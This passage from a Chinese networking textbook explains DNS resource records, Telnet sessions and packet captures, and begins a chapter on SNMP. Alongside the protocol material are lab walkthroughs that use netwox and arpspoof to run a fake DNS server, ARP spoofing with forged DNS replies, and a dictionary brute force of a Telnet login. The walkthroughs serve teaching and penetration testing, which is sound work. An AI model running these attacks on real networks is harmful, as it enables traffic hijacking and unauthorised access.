·查询名：一般为要查询的域名，有时也会是IP地址，用于反向查询。

·查询类型：DNS查询请求的资源类型。通常查询类型为A类型，表示由域名获取对应的IP地址。

·查询类：地址类型，通常为互联网地址，值为1。

（1）DNS请求包的问题部分字段信息，如图9.9所示。
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图9.9　请求报文中的问题部分

图9.10中，Queries部分的信息为问题部分信息，每个字段说明如下：



Domain Name System (query)                        #查询请求
    Queries                                       #问题部分
        baidu.com: type A, class IN
            Name: baidu.com                       #查询名字段，这里请求域名baidu.com
            [Name Length: 9]
            [Label Count: 2]
            Type: A (Host Address) (1)            #查询类型字段，这里为A类型
            Class: IN (0x0001)                    #查询类字段，这里为互联网地址



其中，可以看到DNS请求类型为A，那么得到的响应信息也应该为A类型。

（2）DNS响应包的问题部分字段信息，如图9.10所示。从图中Queries部分中可以看到，响应包中的查询类型也是A，与请求包的查询类型是一致的。
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图9.10　响应报文中的问题部分


9.3.3　资源记录部分

资源记录部分是指DNS报文格式中的最后三个字段，包括回答问题区域字段、权威名称服务器区域字段、附加信息区域字段。这三个字段均采用一种称为资源记录的格式，格式如图9.11所示。

资源记录格式中每个字段含义如下：

·域名：DNS请求的域名。

·类型：资源记录的类型，与问题部分中的查询类型值是一样的。

·类：地址类型，与问题部分中的查询类值是一样的。

·生存时间：以秒为单位，表示资源记录的生命周期，一般用于当地址解析程序取出资源记录后决定保存及使用缓存数据的时间。它同时也可以表明该资源记录的稳定程度，稳定的信息会被分配一个很大的值。

·资源数据长度：资源数据的长度。

·资源数据：表示按查询段要求返回的相关资源记录的数据。
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图9.11　资源记录格式

资源记录部分只有在DNS响应包中才会出现。下面通过DNS响应包来进一步了解资源记录部分的字段信息。

（1）DNS响应包的资源记录部分的字段信息，如图9.12所示。
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图9.12　资源记录部分

其中，方框中标注的信息为DNS响应报文的资源记录部分信息。该部分信息主要分为三部分信息，即回答问题区域、权威名称服务器区域、附加信息区域，下面依次分析这三部分信息。

（2）回答问题区域字段的资源记录部分信息如下：



Answers                                                      #“回答问题区域”字段
    baidu.com: type A, class IN, addr 220.181.57.216         #资源记录部分
        Name: baidu.com                                      #域名字段，这里请求的域名为baidu.com
        Type: A (Host Address) (1)                           #类型字段，这里为A类型
        Class: IN (0x0001)                                   #类字段
        Time to live: 5                                      #生存时间
        Data length: 4                                       #数据长度
        Address: 220.181.57.216                              #资源数据，这里为IP地址
    baidu.com: type A, class IN, addr 123.125.115.110        #资源记录部分
        Name: baidu.com
        Type: A (Host Address) (1)
        Class: IN (0x0001)
        Time to live: 5
        Data length: 4
        Address: 123.125.115.110



其中，Name的值为baidu.com，表示DNS请求的域名为baidu.com；类型为A，表示要获取该域名对应的IP地址。Address的值显示了该域名对应的IP地址。这里获取到了2个IP地址，分别为220.181.57.216和123.125.115.110。

（3）权威名称服务器区域字段的资源记录部分信息如下：



Authoritative nameservers                               #“权威名称服务器区域”字段
    baidu.com: type NS, class IN, ns ns7.baidu.com      #资源记录部分
        Name: baidu.com
        Type: NS (authoritative Name Server) (2)        #类型字段，这里为NS类型
        Class: IN (0x0001)
        Time to live: 5
        Data length: 6
        Name Server: ns7.baidu.com                      #权威名称服务器
    baidu.com: type NS, class IN, ns dns.baidu.com      #资源记录部分
        Name: baidu.com
        Type: NS (authoritative Name Server) (2)        #类型字段，这里为NS类型
        Class: IN (0x0001)
        Time to live: 5
        Data length: 6
        Name Server: dns.baidu.com                      #权威名称服务器
    baidu.com: type NS, class IN, ns ns3.baidu.com      #资源记录部分
        Name: baidu.com
        Type: NS (authoritative Name Server) (2)
        Class: IN (0x0001)
        Time to live: 5
        Data length: 6
        Name Server: ns3.baidu.com                      #权威名称服务器
    baidu.com: type NS, class IN, ns ns4.baidu.com      #资源记录部分
        Name: baidu.com
        Type: NS (authoritative Name Server) (2)
        Class: IN (0x0001)
        Time to live: 5
        Data length: 6
        Name Server: ns4.baidu.com                      #权威名称服务器
    baidu.com: type NS, class IN, ns ns2.baidu.com      #资源记录部分
        Name: baidu.com
        Type: NS (authoritative Name Server) (2)
        Class: IN (0x0001)
        Time to live: 5
        Data length: 6
        Name Server: ns2.baidu.com                      #权威名称服务器



其中，Name的值为baidu.com，表示DNS请求的域名为baidu.com；类型为NS，表示要获取该域名的权威名称服务器名称。Name Server的值显示了该域名对应的权威名称服务器名称。这里总共获取到5个，如ns7.baidu.com。

（4）附加信息区域字段的资源记录部分信息如下：



Additional records                                            #“附加信息区域”字段
    dns.baidu.com: type A, class IN, addr 202.108.22.220      #资源记录部分
        Name: dns.baidu.com                                   #“权威名称服务器”名称
        Type: A (Host Address) (1)                            #类型字段，这里为A类型
        Class: IN (0x0001)
        Time to live: 5
        Data length: 4
        Address: 202.108.22.220                               #“权威名称服务器”的IP地址
    ns2.baidu.com: type A, class IN, addr 61.135.165.235      #资源记录部分
        Name: ns2.baidu.com                                   #“权威名称服务器”名称
        Type: A (Host Address) (1)                            #类型字段，这里为A类型
        Class: IN (0x0001)
        Time to live: 5
        Data length: 4
        Address: 61.135.165.235                               #“权威名称服务器”的IP地址
    ns3.baidu.com: type A, class IN, addr 220.181.37.10       #资源记录部分
        Name: ns3.baidu.com                                   #“权威名称服务器”名称
        Type: A (Host Address) (1)                            #类型字段，这里为A类型
        Class: IN (0x0001)   
        Time to live: 5
        Data length: 4
        Address: 220.181.37.10                                 #“权威名称服务器”的IP地址
    ns4.baidu.com: type A, class IN, addr 220.181.38.10        #资源记录部分
        Name: ns4.baidu.com                                    #“权威名称服务器”名称
        Type: A (Host Address) (1)                             #类型字段，这里为A类型
        Class: IN (0x0001)
        Time to live: 5
        Data length: 4
        Address: 220.181.38.10                                 #“权威名称服务器”的IP地址
    ns7.baidu.com: type A, class IN, addr 180.76.76.92         #资源记录部分
        Name: ns7.baidu.com                                    #“权威名称服务器”名称
        Type: A (Host Address) (1)                             #类型字段，这里为A类型
        Class: IN (0x0001)
        Time to live: 5
        Data length: 4
        Address: 180.76.76.92                                  #“权威名称服务器”的IP地址



其中，Name的值为“权威名称服务器”名称，Type的值为A，表示获取域名对应的IP地址；Address的值显示了所有获取到的权威名称服务器对应的IP地址。例如，权威名称服务器名称ns7.baidu.com对应的IP地址为180.76.76.92。


9.4　DNS协议应用——伪造DNS服务器

DNS服务器是进行域名和与之相对应的IP地址转换的服务器。正常情况下，用户访问域名网站，首先从DNS服务器上或权威名称服务器上获取域名对应的IP地址，然后根据该IP地址访问网站。为了能够使用户混淆，netwox工具提供了编号为104的模块。它可以伪造DNS服务器，手动设置假的域名与IP地址的对应关系。这样，用户会获取一个域名对应的错误IP地址。

【实例9-3】在主机192.168.59.133上伪造域名baidu.com的DNS服务器。

（1）伪造域名baidu.com的DNS服务器，伪造该域名对应的IP地址为110.111.112.113，该域名的权威名称服务器为123.baidu.com，对应的IP地址为56.67.78.89。执行命令如下：



root@daxueba:~# netwox 104 -h baidu.com -H 110.111.112.113 -a 123.baidu.com
-A 56.67.78.89



执行命令后将成功伪造域名baidu.com的DNS服务器，当有用户向该服务器请求域名baidu.com对应的IP地址时，将会给出伪造的地址。

（2）这时，使用netwox工具中编号为102的模块，请求域名baidu.com对应的IP地址，执行命令如下：



root@daxueba:~# netwox 102 -i 192.168.59.133 -n baidu.com -y a



执行命令后，将从伪造的DNS服务器（地址为192.168.59.133）上获取对应的IP地址、权威服务器以及对应的IP地址信息。获取到的信息如下：



DNS_question_________________________________________________.      #DNS请求
| id=29841  rcode=OK             opcode=QUERY                        |
| aa=0 tr=0 rd=0 ra=0  quest=1  answer=0  auth=0  add=0              |
| baidu.com. A                                                       |
|__________________________________________________________          |
DNS_answer________________________________________________.         #DNS响应
| id=29841  rcode=OK             opcode=QUERY                        |
| aa=1 tr=0 rd=0 ra=0  quest=1  answer=1  auth=1  add=1              |
| baidu.com. A                                                       |
| baidu.com. A 10 110.111.112.113                                    | 
                                                               #域名对应的IP地址
| 123.baidu.com. NS 10 123.baidu.com.                                |  
                                                               #权威服务器名称
| 123.baidu.com. A 10 56.67.78.89                                    |       
                                                               #权威服务器IP地址
|_____________________________________________________________       |



从输出信息可以看到，获取到的域名baidu.com对应的IP地址为伪造的地址110.111.112.113，该域名的权威服务器也是伪造的服务器123.baidu.com，对应的IP地址为56.67.78.89。


9.5　DNS协议应用——伪造DNS响应

在中间人攻击中，当用户访问特定的网站，可以通过伪造DNS响应，将用户引导到一个虚假的网站。netwox工具提供的编号为105的模块，可以用来伪造DNS响应包。

【实例9-4】已知主机A的IP地址为192.168.59.133，主机B的IP地址为192.168.59.135。下面介绍主机A对主机B实施ARP攻击，在主机A上监听主机B的DNS请求，并伪造DNS响应。

（1）主机A对主机B实施ARP攻击，执行命令如下：



root@daxueba:~# arpspoof -i eth0 -t 192.168.59.135 192.168.59.2



该命令表示对主机B实施ARP攻击，伪造的是网关192.168.59.2。执行命令后输出信息如下：



0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
···                                                #省略其他信息



上述输出信息表示成功发起了ARP攻击，使主机B认为网关192.168.59.2的MAC地址为00：0c：29：fd：de：b8（实施攻击的主机A的MAC地址）。

（2）在主机A上监听主机B的DNS请求包，并伪造DNS响应，使其返回指定的DNS响应。例如，设置DNS响应包域名www.baidu.con
 对应的IP地址为101.102.103.104，权威名称服务器123.baidu.com对应的IP地址为55.66.77.88。执行命令如下：



root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.
com -A 55.66.77.88



执行命令后，没有输出信息。因为主机B没有产生DNS请求。

（3）当主机B上产生了DNS请求，该请求将会被主机A监听到，并返回设置的DNS响应包的信息。例如，当主机B访问www.baidu.con
 ，主机A监听并返回的DNS响应如下：



root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.
com -A 55.66.77.88
DNS_question_______________________________________________.      #DNS请求
| id=22684  rcode=OK             opcode=QUERY                         |
| aa=0 tr=0 rd=1 ra=0  quest=1  answer=0  auth=0  add=0               |
| www.baidu.com. A                                                    |
|__________________________________________________________           |
DNS_answer________________________________________________.      #DNS响应
| id=22684  rcode=OK             opcode=QUERY                         |
| aa=1 tr=0 rd=1 ra=1  quest=1  answer=1  auth=1  add=1               |
| www.baidu.com. A                                                    |
| www.baidu.com. A 10 101.102.103.104                                 |
| 123.baidu.com. NS 10 123.baidu.com.                                 |
| 123.baidu.com. A 10 55.66.77.88                                     |
|__________________________________________________________           |



其中，DNS_question部分为监听到的主机B发送的www.baidu.com
 的DNS请求包信息，DNS_answer部分为主机A伪造的DNS响应信息，成功返给了主机B。


第10章　Telnet协议

Telnet协议是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上远程管理主机的能力。使用者在自己的电脑上使用Telnet程序连接到服务器。然后，在Telnet程序中输入命令，这些命令将会在服务器上运行，就像直接在服务器的控制台上输入一样。本章将详细讲解Telnet协议的使用方式。


10.1　Telnet协议概述

为了更好地学习和了解Telnet协议，本节将讲解一下Telnet的核心内容，如协议的作用、工作流程以及常用的命令。


10.1.1　Telnet协议的作用

为了方便对其他主机进行控制操作，远程登录成为Internet上最广泛的应用之一。Telnet提供远程登录功能。用户在本地主机上运行Telnet客户端，就可登录到远端的Telnet服务器。用户在本地输入的命令将由服务器运行，服务器把结果返回到本地。所以，Telnet的主要用途就是像操作本地计算机一样，操作远程计算机。


10.1.2　工作流程

Telnet协议工作有规范的流程，大致包括连接、执行命令和断开连接3个部分。具体工作流程如图10.1所示。

其中，工作流程分为6个步骤，每个步骤含义如下：

（1）Telnet客户端通过TCP协议的三次握手与Telnet服务器建立连接。

（2）建立连接后，需要通过用户名和密码才能远程登录到服务器。因此，服务器要求客户端提供用户名和密码。

（3）Telnet客户端输入用户名和密码，尝试登录服务器。

（4）成功登录后客户端向服务器发送要执行的命令。

（5）服务器收到客户端发来的执行命令，开始执行命令，并将结果返回给客户端。

（6）客户端不再需要远程执行命令，将向服务器发送TCP断开数据包，用于撤销连接。
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图10.1　Telnet工作流程


10.1.3　常用命令

Telnet是以命令行的方式登录和管理远程计算机的，所以客户端首先需要连接远程的计算机。执行的命令如下：



telnet 主机名



其中，主机名表示要连接的远程计算机的名称或IP地址。成功连接上以后，进入Telnet控制台。用户输入的子命令将在远程计算机上执行。Telnet常用的子命令及含义如下：

·open：建立到远程主机的Telnet连接，子命令后跟主机名称或IP地址。

·close：关闭现有的Telnet连接。

·display：查看Telnet客户端的当前设置。

·mode：设置文件传输模式。其中，ASCII的文件传输模式适用于传输文本文件，而二进制的文件传输模式适用于其他类型的文件，如可执行文件、图片。

·send：向远程计算机发送特殊的Telnet协议指令序列，如终止指令序列、中断指令序列或文件结束指令序列。

·set：对Telnet客户端进行设置。

·status：显示状态信息。

·environ：设置环境变量。环境变量可以被操作系统用来提供特定的用户或计算机信息。

·logout：注销远程用户并关闭连接。

·quit：退出Telnet程序。

·unset：取消对Telnet客户端的设置。

·toggle：切换操作参数。

·z：暂停Telnet登录。

·？：显示帮助信息。


10.2　使用Telnet服务

Telnet服务是基于Telnet协议工作的网络服务。该服务包括服务器和客户端两部分。本节将讲解如何使用Telnet服务。


10.2.1　建立Telnet客户端/服务

为了了解Telnet服务，首先需要搭建Telnet服务，并拥有一个对应的客户端。netwox工具编号170的模块可以构建Telnet服务，而编号99的模块可以作为Telnet客户端。下面演示如何使用这两个模块实现Telnet客户端远程登录服务器和执行命令。

【实例10-1】已知主机A的IP地址为192.168.59.135，主机B的IP地址为192.168.59.133。通过这两个主机演示Telnet服务实现远程登录和执行命令。

（1）在主机A上建立Telnet服务，设置Telnet服务的用户名为sm，密码为123。执行命令如下：



root@daxueba:~# netwox 170 -l sm -w 123



执行命令后没有任何输出信息，但已经建立Telnet服务。

（2）在主机B上建立Telnet客户端，并连接服务器。执行命令如下：



root@daxueba:~# netwox 99 -i 192.168.59.135



输出信息如下：



Welcome 192.168.59.133
Login: sm                                                #输入登录Telnet服务的用户名
Password:                                                #输入登录Telnet服务的密码

You can enter a command.
Examples: /bin/ls, /bin/sh -c "pwd;ls", cmd /c dir c:, /bin/bash -i
Note: full path has to be specified
Note: cannot use 'prog1 | prog2', 'program > file' or 'program < file'
$



其中，$表示Telnet客户端已经成功登录Telnet服务器。这时，可以输入要执行的命令。

（3）查看Telnet服务器的网络配置信息，输入命令如下：



$ /sbin/ifconfig                                          #远程执行的命令
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.59.135  netmask 255.255.255.0  broadcast 192.168.59.255
        inet6 fe80::20c:29ff:feca:e466  prefixlen 64  scopeid 0x20<link>
        inet6 fd15:4ba5:5a2b:1008:193e:aeb1:2bf3:17f8  prefixlen 64  scopeid
        0x0<global>
        inet6 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466  prefixlen 64  scopeid
        0x0<global>
        ether 00:0c:29:ca:e4:66  txqueuelen 1000  (Ethernet)
        RX packets 320730  bytes 454342096 (433.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 147561  bytes 8943252 (8.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0



上述输出信息显示了Telnet服务器的网络配置信息。例如，网络接口为eth0，IP地址为192.168.59.135，MAC地址为00：0c：29：ca：e4：66等。


10.2.2　远程登录并执行命令

上述远程操作是在成功登录Telnet服务器以后才可以执行命令。为了提高效率，netwox工具提供了编号为100的模块，它可以在登录Telnet服务器后自动执行命令。

【实例10-2】已知Telnet服务器的IP地址为192.168.59.135，Telnet服务器的登录用户名为sm，密码为123。远程登录该Telnet服务器并执行命令查看服务器的网络配置信息。执行命令如下：



root@daxueba:~# netwox 100 -i 192.168.59.135 -l sm -w 123 /sbin/ifconfig



输出信息如下：



eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.59.135  netmask 255.255.255.0  broadcast 192.168.59.255
        inet6 fe80::20c:29ff:feca:e466  prefixlen 64  scopeid 0x20<link>
        inet6 fd15:4ba5:5a2b:1008:193e:aeb1:2bf3:17f8  prefixlen 64  scopeid
        0x0<global>
        inet6 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466  prefixlen 64  scopeid
        0x0<global>
        ether 00:0c:29:ca:e4:66  txqueuelen 1000  (Ethernet)
        RX packets 321007  bytes 454360606 (433.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 147582  bytes 8946281 (8.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0




10.3　Telnet协议包分析——透明模式

在使用Telnet服务时，Telnet提供了选项的交互和协商功能。由于交互方式不同，Telnet有两种工作模式，分别为透明模式和行模式。下面首先讲解透明模式下的协议包。

透明模式是采用一次一个字符的模式，把用户输入的命令发送给服务器。当得到服务器的回显，再对回显进行确认，表示客户端收到信息。

【实例10-3】以【实例10-2】的Telnet服务（192.168.59.135），用户名为sm，密码为123为例，本节分析透明模式下的Telnet协议包。


10.3.1　TCP连接

客户端连接服务器的Telnet协议包，如图10.2所示。这3个数据包是Telnet客户端（192.168.59.133）连接Telnet服务（192.168.59.135）发送的3次握手包。
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图10.2　客户端连接服务器


10.3.2　Telnet协商

协商阶段是客户端和服务器之间相互请求对方，对通信过程的消息选项进行确认，明确后续消息的传送方式。协商期间，通信的过程如下：

（1）客户端向服务器发送的选项协商数据包，如图10.3所示。其中，第8个数据包为客户端向服务器发送的选项协商数据包。在Telnet部分，其中，Do为命令，Echo为子命令，表示客户端要求服务器端将发送过去的字回显给自己（客户端）。第9个数据包为服务段的确认数据包，表示已经收到发来的选项协商数据包。
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图10.3　选项协商数据包1

（2）客户端再次发送的选项协商数据包，如图10.4所示。其中，在数据包的Telnet部分中，Do为命令，Suppress Go Ahead为子命令，表示要抑制Go Ahead选项。激活Suppress Go Ahead选项是为了使Echo选项回显功能有效。

（3）服务器向客户端发送的选项协商数据包，如图10.5所示。其中，第11个数据包为服务器向客户端发送的选项协商数据包。在Telnet部分中，Will为命令，Echo为子命令，表示服务器希望客户端将发送过去的字回显给自己（服务器端）。第12个数据包为客户端的确认数据包。
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图10.4　选项协商数据包2
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图10.5　选项协商数据包3

（4）服务器再次发送选项协商数据包，并发送数据信息，如图10.6所示。其中，第13个数据包Telnet部分中，Will为命令，Suppress Go Ahead为子命令，激活Suppress Go Ahead选项，表示服务器要抑制Go Ahead选项。同时，服务器发送了两个数据。Welcome 192.168.59.133\r\n数据表示服务器欢迎客户端（192.168.59.133）进行登录；Login数据表示需要客户端输入登录Telnet服务器端的用户名。第14个数据包为客户端的确认包，表示收到数据包。
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图10.6　要求输入用户名


10.3.3　Telnet认证

Telnet认证阶段主要是服务器端对客户端的身份进行确认。通信过程如下所述。

（1）客户端输入登录的用户名，对应的数据包如图10.7所示。该数据包的Telnet部分中，数据信息只有s（一个字符），表示客户端输入用户名的第1个字符。这是因为这里使用的是透明模式，所以客户端每输入一个字符，都会马上被发送给服务器。发送时采用明文形式。
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图10.7　登录用户名第1个字符

（2）服务器进行回显，对应的数据包如图10.8所示。在第18个数据包的Telnet部分中，数据信息也只有一个字符s，这是服务器端输入的字符返回给了客户端。这是因为在协商阶段中，客户端要求服务器进行回显。第19个数据包为客户端对服务器回显数据包的确认。

[image: ]


图10.8　服务器回显

（3）客户端继续输入登录用户名的第2个字符，如图10.9所示。第20个数据包传输的数据为客户端输入用户名的第2个字符m，仍然是单字节发送给服务器。第21个数据包为服务器的回显数据包，第22个数据包为客户端对服务器回显数据包的确认。以此类推，用户名字节的剩余字节也将按照单个字节的方式发送给服务器，然后服务器进行回显，最后客户端进行确认。
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图10.9　登录用户名第2个字符

（4）当客户端输入完所有的用户名字符以后，按回车键换行，表示用户名输入完毕。这将产生行结束数据包，如图10.10所示。在第24个数据包的Telnet部分中，数据信息为\r\n，表示行结束符，即CR（回车）和LF（换行）。第25个数据包为服务器的回显数据包，第26个数据包为客户端对服务器回显数据包的确认。

[image: ]


图10.10　用户名输入完毕

（5）用户名输入完成后，服务器向客户端发送要求输入密码的数据包，如图10.11所示。在第27个数据包的Telnet部分中，数据信息为Password：，表示服务器要求客户端输入密码。第28个数据包为客户端的确认包。
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图10.11　要求输入密码

（6）与输入用户名一样，客户端输入密码时，每输入的一个字符都被马上发送给服务器，并得到服务器的确认，但服务器不会回显密码，如图10.12所示。在第30个数据包的Telnet部分中，数据信息为1，表示密码的第一位是1。第31个数据包为服务器收到输入密码的确认包。以此类推，直到客户端输入所有的密码，并按回车键。
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图10.12　客户端输入密码

（7）客户端完成密码的输入，并按回车键后，将向服务器发送行结束数据包，如图10.13所示。在第36个数据包的Telnet部分中，数据信息为\r\n，表示此时客户端已经完成密码的输入。第37个数据包为服务器的确认包。
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图10.13　密码输入完毕

（8）服务器对完成密码输入的数据包将进行回显，如图10.14所示。在第38个数据包的Telnet部分中，数据信息为\r\n，是回显数据包。第39个数据包为客户端的确认包。
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图10.14　服务器回显

（9）密码成功输入以后，客户端将成功登录服务器。服务器将为客户端提供输入执行命令的会话模式，如图10.15所示。在第40个数据包的Telnet部分中给出了多个数据信息，最后一个数据信息为$，表示服务器为客户端提供了会话模式。在该模式下，客户端可以输入要执行的命令。第41个数据包为客户端的确认包。
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图10.15　会话模式


10.3.4　命令交互

命令交互阶段主要完成客户端的命令输入和服务器端的执行和回显。通信过程如下：

（1）例如，客户端要查询服务器的网络配置信息，需要输入命令/sbin/ifconfig。和前面一样，每输入一个字符，都会得到服务器的回显和客户端的确认，如图10.16所示。在第43个数据包的Telnet部分中，数据信息为/，表示客户端输入命令的第1个字符。第44个数据包为服务器的回显数据包，第45个数据包为客户端对回显数据包的确认。
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图10.16　客户端输入命令的第1个字符

（2）完成命令的输入以后，服务器将把命令的执行结果返回给客户端，如图10.17所示。第99个数据包的Telnet部分显示了命令的执行结果。第100个数据包为客户端的确认。

（3）服务器成功将命令的执行结果返回给客户端以后，再次返回会话模式，等待客户端下一个命令，如图10.18所示。在第101个数据包的Telnet部分中，数据信息为$，表示服务器再次回到会话模式。第102个数据包为客户端的确认。
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图10.17　命令的执行结果
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图10.18　服务器再次返回“会话”模式


10.3.5　断开连接

如果客户端将不再执行命令，就可以断开连接了。这时，客户端将向服务器发送断开连接的TCP数据包，如图10.19所示。其中，第105个数据包是客户端向服务器发送的请求断开连接的TCP[FIN，ACK]数据包；第106个数据包为服务器进行断开连接的TCP[FIN，ACK]数据包；第107个数据包为客户端的确认。
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图10.19　断开连接


10.4　Telnet协议包分析——行模式

行模式是指每输入一行信息并按回车键换行时，再将这行信息发送给服务器。在该模式下，服务器不会进行回显。下面介绍行模式的通信过程。

【实例10-4】仍然以Telnet服务（192.168.59.135），用户名为sm，密码为123为例。下面讲解行模式下的Telnet协议包。

（1）客户端连接服务器的Telnet协议包，如图10.20所示。
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图10.20　客户端连接服务器

（2）客户端向服务器发送的选项协商数据包，如图10.21所示。其中，第9个数据包为客户端向服务器发送的选项协商数据包。在Telnet部分中，Don't为命令，Echo为子命令，表示客户端要求服务器禁止回显。第10个数据包为服务段的确认数据包。
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图10.21　选项协商数据包1

（3）客户端再次发送的选项协商数据包，如图10.22所示。在第11个数据包的Telnet部分中，Don't为命令，Suppress Go Ahead为子命令，表示要服务器抑制Go Ahead选项，禁止回显。
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图10.22　选项协商数据包2

（4）服务器向客户端发送的选项协商数据包，如图所10.23示。其中，第12个数据包为服务器向客户端发送的选项协商数据包。在Telnet部分中，Will为命令，Echo为子命令，表示服务器希望客户端进行回显。第13个数据包为客户端的确认数据包。
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图10.23　选项协商数据包3

（5）服务器再次发送的选项协商数据包，如图10.24所示。在第14个数据包的Telnet部分中可以看到，服务器希望客户端进行回显，并激活Suppress Go Ahead选项。第15个数据包为客户端的确认数据包。

[image: ]


图10.24　选项协商数据包4

（6）选项协商完成以后，服务器向客户端显示欢迎和要求用户名登录的信息，如图10.25所示。其中，第23个数据包的Telnet部分中可以看到，数据是服务器的欢迎信息，并希望客户端输入登录的用户名。第24个数据包为客户端的确认数据包。
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图10.25　要求客户端输入用户名

（7）客户端输入登录的用户名数据包，如图10.26所示。在该数据包的Telnet部分中可以看到，数据信息为sm\r\n，表示客户端已经输入了全部的用户名，并按了回车键和换行。这里sm为用户名。和透明模式不同的是，行模式不是每输入一个字符就发送给服务器，而是将每行的信息一次性发送给服务器。
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图10.26　客户端输入用户名

（8）客户端完成输入用户名以后，服务器不会进行回显，而是向客户端发送要求输入密码的信息，如图10.27所示。其中，第27个数据包的Telnet部分数据信息表示服务器要求客户端输入登录的密码。第28个数据包为客户端的确认数据包。
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图10.27　要求客户端输入密码

（9）客户端输入密码，对应的数据包如图10.28所示。从该数据包的Telnet部分可以看到，数据信息为123\r\n，表示客户端已经输入了全部的密码，密码为123，将整个信息一次性发送给服务器。
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图10.28　客户端输入密码

（10）成功输入用户名和密码后，客户端将登录服务器。服务器首先向客户端显示说明信息，如图10.29所示。第33个数据包Telnet部分显示了大量的说明信息。例如，客户端可以输入一个命令，并给出命令实例。第34个数据包为客户端的确认数据包。
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图10.29　说明信息

（11）服务器向客户端发送完说明信息后，将为客户端提供会话模式。客户端就可以在该模式下输入要执行的命令，如图10.30所示。其中，第35个数据包Telnet部分的数据信息为$，表示客户端可以在此处输入要执行的命令。第36个数据包为客户端的确认数据包。

[image: ]


图10.30　提供会话模式

（12）客户端输入要执行的命令，这里输入查询服务器网络配置信息的命令，如图10.31所示。第47个数据包Telnet部分的数据信息为/sbin/ifconfig\r\n，表示客户端已经输入了全部的命令。该命令被一次性发送给服务器。
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图10.31　客户端输入执行的命令

（13）客户端完成输入的命令后，服务器向客户端返回命令的执行结果，如图10.32所示。其中，第48个数据包Telnet部分显示了服务器的网络配置信息。第49个数据包为客户端的确认数据包。
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图10.32　命令执行结果

（14）服务器成功向客户端返回命令的执行结果后，再次进入会话模式，等待客户端下一个命令，如图10.33所示。其中，第50个数据包的Telnet部分的数据信息为$，表示服务器再次回到会话模式。第51个数据包为客户端的确认数据包。
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图10.33　会话模式

（15）如果客户端将不再执行命令，将向服务器请求断开连接。对应的数据包如图10.34所示。其中，第53个数据包是客户端向服务器发送的请求断开连接的TCP[FIN，ACK]数据包；第54个数据包为服务器进行断开连接的TCP[FIN，ACK]数据包；第55个数据包为客户端的确认。
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图10.34　断开连接数据包


10.5　暴力破解Telnet服务

远程登录Telnet服务器需要知道登录的用户名和密码。如果只知道用户名而不知道密码是无法登录的。在渗透测试中，就需要对密码进行暴力破解。netwox工具提供了编号为101的模块，用于密码暴力破解。

【实例10-5】已知Telnet服务器的IP地址为192.168.59.135，登录用户名为sm。使用密码字典password.txt进行暴力破解，获取登录的密码。

（1）查看密码字典password.txt中的密码，执行命令如下：



root@daxueba:~# cat /password.txt



输出信息如下：



admin
abc
19890106
123
ab12
root



以上输出信息显示该密码字典中有6个密码。

（2）进行密码暴力破解，执行命令如下：



root@daxueba:~# netwox 101 -i 192.168.59.135 -L sm -w /password.txt



输出信息如下：



Trying(thread1) "sm" - "admin"                     #尝试使用密码admin
Trying(thread2) "sm" - "abc"
Trying(thread3) "sm" - "19890106"
Trying(thread4) "sm" - "123"
Trying(thread5) "sm" - "ab12"
Couple(thread2) "sm" - "abc" -> bad
Trying(thread2) "sm" - "root"
Couple(thread1) "sm" - "admin" -> bad           #使用密码admin进行匹配，密码错误
Couple(thread3) "sm" - "19890106" -> bad
Couple(thread5) "sm" - "ab12" -> bad
Couple(thread4) "sm" - "123" -> good            #使用密码123进行匹配，密码正确
Couple(thread2) "sm" - "root" -> bad



输出信息显示，尝试使用密码字典的所有密码与用户名进行匹配。如果密码错误，将显示bad；如果密码正确，则显示good。这里，暴力破解成功，Telnet服务器的登录密码为123。


第11章　SNMP协议

简单网络管理协议（Simple Network Management Protocol，SNMP）是由互联网工程任务组定义的一套网络管理协议。该协议是基于简单网关监视协议（Simple Gateway Monitor Protocol，SGMP）制定的。SNMP可以使网络管理员通过一台工作站完成对计算机、路由器和其他网络设备的远程管理和监视。本章将详细介绍SNMP协议的相关知识。


11.1　SNMP协议工作方式

利用SNMP协议可以更好地管理和监控网络。管理工作站可以远程管理所有支持该协议的网络设备，如监视网络状态、修改网络设备配置、接收网络事件警告等。下面介绍SNMP协议的作用、构成、工作原理及通信方式等内容。


11.1.1　SNMP协议概述

上一章介绍的Telnet协议可以用于连接远程计算机，并进行管理与控制，如远程执行命令。这种情况下，执行的命令有一定的局限性，如只能执行远程主机上支持的命令。由于网络设备越来越多，网络规模越来越大，管理这些设备也越来越重要。远程管理网络的需求日益迫切，SNMP应运而生。SNMP协议能够帮助网络管理员提高网络管理效率，及时发现和解决网络问题，对网络增长做好规划。网络管理员还可以通过SNMP协议，接收网络节点的通知消息和警告事件报告等，从而获知网络出现的问题。

SNMP目前共有3个版本，分别为v1、v2和v3，说明如下：

·SNMP v1：是SNMP协议的最初版本，在1988年被制定，并被Internet体系结构委员会（IAB）采纳作为一个短期的网络管理解决方案。

·SNMP v2：是1992年发布的SNMP的第二个版本。它修订了第一版，并且在性能、安全、机密性和管理者之间通信等方面进行了大量改进。

·SNMP v3：是目前最新的版本。它是2004年制定的，协议编号为RFC3411-RFC3418（STD0062）。它为提升协议的安全性，增加了认证和密文传输功能。


11.1.2　SNMP架构组成

SNMP的架构由3部分组成，分别为社区、网络管理站和节点，如图11.1所示。
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图11.1　结构组成

社区、网络管理站和节点说明如下：

·社区：同一个管理框架下的网络管理站和所有节点的集合。

